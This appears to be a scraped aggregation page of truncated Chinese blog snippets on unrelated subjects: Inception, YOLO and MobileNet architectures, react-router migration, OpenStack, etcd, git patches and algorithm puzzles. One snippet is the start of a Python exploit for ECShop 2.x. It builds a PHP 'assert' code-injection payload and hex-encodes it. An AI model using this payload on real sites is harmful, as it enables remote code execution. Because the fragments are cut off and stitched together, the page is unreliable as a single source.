from:https://blog.csdn.net/qq_14845119/article/details/73648100 Inception v1的网络,主要提出了Inceptionmodule结构(1*1,3*3,5*5的conv和3*3的pooling组合在一起),最大的亮点就是从NIN(Network in Network)中引入了1*1 conv,结构如下图所示,代表作GoogleNet 假设previous layer的大小为28*28*192,则, a的weights大小,1*…

论文地址 Inception V1 :Going Deeper with Convolutions Inception-v2 :Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Inception-v3 :Rethinking the Inception Architecture for Computer Vision Inception-v4 :Inception-Res…

Bash游戏V1 有一堆石子共同拥有N个. A B两个人轮流拿.A先拿.每次最少拿1颗.最多拿K颗.拿到最后1颗石子的人获胜.如果A B都很聪明,拿石子的过程中不会出现失误.给出N和K,问最后谁能赢得比赛. 比如N = 3.K = 2.不管A怎样拿,B都能够拿到最后1颗石子. Input 第1行:一个数T.表示后面用作输入測试的数的数量.(1 <= T <= 10000) 第2 - T + 1行:每行2个数N,K.中间用空格分隔.(1 <= N,K <= 10^9) Output…

V1,V2已经不被推荐使用,谷歌强烈推荐使用V3. 本人在选择时着实纠结了良久,现在总结如下: 对于V1,现在已经申请不到API KEY了,所以不要使用这个版本.这个是网址:https://developers.google.com/maps/documentation/android/v1/maps-api-signup: 对于V2,要求ANDROID SDK版本3.0以上好像,所以如果你的目标手机的版本是<3的话,V2也不适合:这个版本还是需要密钥的: 对于V3,符合以上两种情况的,就用V3…

前言 \(HE\)沾\(BJ\)的光成功滚回家里了...这堆最大子段和的题抠了半天,然而各位\(dalao\)们都已经去做概率了...先%为敬. 引流之主:老姚的博客 最大M子段和 V1 思路 最简单的ver.数据范围在5000以内,可以考虑暴力一点的做法\(O(n^3)\),定义\(dp\)状态\(dp[i][j]\),递推式子: \[dp[i][j]=max\{dp[i-1][j],dp[k][j-1]\}+a[i]\ (j-1\le k<i) \] 其中\(i\)表示序列中前\(i\)个元…

1040 最大公约数之和 给出一个n,求1-n这n个数,同n的最大公约数的和.比如:n = 6 1,2,3,4,5,6 同6的最大公约数分别为1,2,3,2,1,6,加在一起 = 15 输入 1个数N(N <= 10^9) 输出 公约数之和 输入样例 6 输出样例 15 题解 \[ \sum_{i=1}^n\gcd(i,n)=\sum_{d|n}d\varphi(n) \] 暴力搞就行了. 1188 最大公约数之和 V2 给出一个数N,输出小于等于N的所有数,两两之间的最大公约数之和. 相当于计…

官方地址:https://docs.fluentd.org/quickstart/td-agent-v2-vs-v3-vs-v4…

上一篇文章我们引出了GoogLeNet InceptionV1的网络结构,这篇文章中我们会详细讲到Inception V2/V3/V4的发展历程以及它们的网络结构和亮点. GoogLeNet Inception V2 GoogLeNet Inception V2在<Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift>出现,最大亮点是提出了Batch Normal…

仅用作自己学习 这篇文章中我们会详细讲到Inception V2/V3/V4的发展历程以及它们的网络结构和亮点. GoogLeNet Inception V2        GoogLeNet Inception V2在<Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift>出现,最大亮点是提出了Batch Normalization方法,它起到以下作用:  使用…

0 - 背景 在经过了inception v1的基础上,google的人员还是觉得有维度约间的空间,在<Rethinking the Inception Architecture for Computer Vision>一文中,通过卷积分解.网格约间等方式来修改inception模块.当然了在BN那篇论文的附录部分也多少涉及到v2的设计方向. 因为第一篇论文并没有详细说明设计inception v1的一些具体原理,而其主要是从如何减小模型的参数量上下手,所以v3上对这部分做了个简单的原则说明:…

论文原址:https://arxiv.org/pdf/1409.4842.pdf 代码连接:https://github.com/titu1994/Inception-v4(包含v1,v2,v4)  摘要 本文提出了一个深层的卷积网络结构-Inception,该结构的主要特点是提高了网络内部计算资源的利用率.在预估计算资源消耗量不变的情况下增加网络的深度及宽度.为了进行有效的优化,结构决策基于Hebbian原理及多尺寸处理操作.本文思想的一个经典实现是GoogLeNet,网络的深度为22层,该网…

YOLO v1到YOLO v4(下) Faster YOLO使用的是GoogleLeNet,比VGG-16快,YOLO完成一次前向过程只用8.52 billion 运算,而VGG-16要30.69billion,但是YOLO精度稍低于VGG-16. Draknet19 YOLO v2基于一个新的分类model,有点类似与VGG.YOLO v2使用3*3filter,每次Pooling之后都增加一倍Channels的数量.YOLO v2使用全局平均Pooling,使用Batch Normilaza…

目录 简介 网络结构 对应代码 网络说明 参考资料 简介 2014年,GoogLeNet和VGG是当年ImageNet挑战赛(ILSVRC14)的双雄,GoogLeNet获得了第一名.VGG获得了第二名,这两类模型结构的共同特点是层次更深了.VGG继承了LeNet以及AlexNet的一些框架结构,而GoogLeNet则做了更加大胆的网络结构尝试,虽然深度只有22层,但大小却比AlexNet和VGG小很多,GoogleNet参数为500万个,AlexNet参数个数是GoogleNet的12倍,VG…

YOLO v1到YOLO v4(上) 一.  YOLO v1 这是继RCNN,fast-RCNN和faster-RCNN之后,rbg(RossGirshick)针对DL目标检测速度问题提出的另外一种框架.YOLO V1其增强版本GPU中能跑45fps,简化版本155fps. 论文下载:http://arxiv.org/abs/1506.02640 代码下载:https://github.com/pjreddie/darknet YOLO的核心思想 提出了一种新的目标检测方法YOLO.先前的目标检…

网络结构解读之inception系列二:GoogLeNet(Inception V1) inception系列的开山之作,有网络结构设计的初期思考. Going deeper with convolutions motivations: 提高模型性能的最直接方式:1.加深(增加层)2.加宽(增加单层的神经元个数) 带来的两个弊端:1.大规模的参数易导致过拟合且需要更多的训练集 2.更多的计算资源消耗 解决基本思想是在fc层甚至conv层使用稀疏连接结构,原因是1.生物中神经网络是稀疏的.2Aro…

Inception模块分为V1.V2.V3和V4. V1(GoogLeNet)的介绍 论文:Going deeper with convolutions 论文链接:https://arxiv.org/pdf/1409.4842v1.pdf 主要问题: 每张图中主体所占区域大小差别很大.由于主体信息位置的巨大差异,那选择合适的卷积核相对来说就比较困难.信息分布更全局性的图像适合选用较大的卷积核,信息分布较局部的图像适合较小的卷积核. 非常深的网络更容易过拟合.将梯度更新传输到整个网络是很困难的.…

react-router v4 是完全重写的,所以没有简单的迁移方式,这份指南将为您提供一些步骤,以帮助您了解如何升级应用程序. 注意: 这份迁移指南适用于react-router v2和v3,但为简洁起见,对以前版本的引用仅提及v3. The Router Routes 路由嵌套 on* 属性 Switch The Router 在react-router v3中,仅有一个<Router> 组件,需要提供 history 对象作为他的属性 (prop). 此外,您可以使用 routes 作为…

概述 react-router V4 相对于react-router V2 or V3 几乎是重写了, 新版的react-router更偏向于组件化(everything is component). V4汲取了很多思想,路由即是组件,使路由更具声明式,且方便组合.如果你习惯使用react,那么一定会很快上手新版的react-router. react-router V4 被一分为三: react-router-dom(for web).react-router-native(for nativ…

YOLO V2 YOLO V2是在YOLO的基础上,融合了其他一些网络结构的特性(比如:Faster R-CNN的Anchor,GooLeNet的\(1\times1\)卷积核等),进行的升级.其目的是弥补YOLO的两个缺陷: YOLO中的大量的定位错误 和基于区域推荐的目标检测算法相比,YOLO的召回率(Recall)较低. YOLO V2的目标是:在保持YOLO分类精度的同时,提高目标定位的精度以及召回率.其论文地址: YOLO 9000:Better,Faster,Stronger. YO…

  问题描述(v1和v2) Android 7.0中引入了APK Signature Scheme v2,v1是jar Signature来自JDKV1:应该是通过ZIP条目进行验证,这样APK 签署后可进行许多修改 - 可以移动甚至重新压缩文件.V2:验证压缩文件的所有字节,而不是单个 ZIP 条目,因此,在签名后无法再更改(包括 zipalign).正因如此,现在在编译过程中,我们将压缩.调整和签署合并成一步完成.好处显而易见,更安全而且新的签名可缩短在设备上进行验证的时间(不需要费时地解压…

Changing from APIv2.0 to APIv3 in Keystone - Openstack Juno on Ubuntu 1. 更换v3 的policy文件 mv /etc/keystone/policy.json /etc/keystone/policy.json.bak cp /opt/stack/keystone/etc/policy.v3cloudsample.json /etc/keystone/policy.json Step 2: Update Keystone…

原文:https://blog.csdn.net/kozazyh/article/details/79586530 ----------------------------------------------------- etcd2和etcd3是不兼容的,两者的api参数也不一样,详细请查看 etcdctl -h .可以使用api2 和 api3 写入 etcd3 数据,但是需要注意,使用不同的api版本写入数据需要使用相应的api版本读取数据. api 2 使用方法 ETCDCTL_API=…

目录 目录 Glance 安装列表 Glance Image service Image service 的组件 Glance-Api Glance-Registry Glance-db Image StoreStore Backend Image Glance 架构 Glance Restful API V1 Glance Restful API V2 Glance 安装列表 Openstack组建部署 - Glance Install Glance Image service Image s…

import requests import binascii def get_v2Payload(code): '''Ecshop V2.x payload''' code = "{$abc'];@assert(%s);//}" %(code) # print(code) code = code.encode() shellcode = binascii.hexlify(code).decode() payload = "554fcae493e564ee0dc75bdf2e…

GoogleNet设计的目的 GoogleNet设计的初衷是为了提高在网络里面的计算资源的利用率. Motivation 网络越大,意味着网络的参数较多,尤其当数据集很小的时候,网络更容易发生过拟合.网络越大带来的另一个缺点就是计算资源的利用率会急剧增加.例如,如果两个卷积层是串联的,他们滤波器数量中任何一个均匀增加都会导致计算资源的二次方浪费.解决这两个问题的方法是用稀疏连接的结构代替全连接.在早期为了打破网络的对称性和提高学习能力,传统的网络都使用随机的稀疏连接,但是计算机硬件对非均匀的稀疏…

前段时间看了YOLO的论文,打算用YOLO模型做一个迁移学习,看看能不能用于项目中去.但在实践过程中感觉到对于YOLO的一些细节和技巧还是没有很好的理解,现学习其他人的博客总结(所有参考连接都附于最后一部分“参考资料”),加入自己的理解,整理此学习笔记. 概念补充:mAP:mAP是目标检测算法中衡量算法精确度的一个指标,其涉及到查准率(Precision)和查全率(Recall).对于目标检测任务,对于每一个目标可以计算出其查准率和查全率,多次实验进行统计,可以得到每个类有一条P-R曲线,曲线下…

目录 Abstract Introduction First of All Inception Depth Related Work Motivation and High Level Considerations 增加网络的深度和宽度会带来两个问题: 解决思路 不利因素 解决方法 Starting 注意 Architecture Details The Main Idea Inception GoogLeNet Training Methodology Abstract 该网络结构可以在增加网…

先放效果图: 这是我第一次尝试在Mac平台下编程,之前学过几天IOS开发,一直在等MJ老师更新.闲下来不编程不舒服,给自己,也给老婆编了这个以提醒自己好好学习.v2版加入了各种倒计时.改进了界面.把倒计时计算抽成了一个类,提高程序的复用性. -概览 首先放上xib界面图       -改界面名字 建项目的过程中一开始不小心取了个没有远见的名字"考研倒计时",后来改成了倒计时.怎么改呢?我是这样改的:(比如程序的window,上面的menuitem类同) 顺手把Resize的钩钩去掉 把…

1. 生成一个补丁 git format-patch --subject-prefix=v2 -1 那么生成的patch文件就会有如下类似的信息: Subject: [v2] your description about the patch 2. 那么若是同时生成两个补丁呢? git format-patch --subject-prefix=v2, -1 生成的两个patch文件就会有如下类似信息: Subject: [v2, 1/2] your description about the p…

MobileNet系列很重要的轻量级网络家族,出自谷歌,MobileNetV1使用深度可分离卷积来构建轻量级网络,MobileNetV2提出创新的inverted residual with linear bottleneck单元,虽然层数变多了,但是整体网络准确率和速度都有提升,MobileNetV3则结合AutoML技术以及人工微调进行更轻量级的网络构建   来源:晓飞的算法工程笔记 公众号 MobileNetV1 论文: MobileNets: Efficient Convolutiona…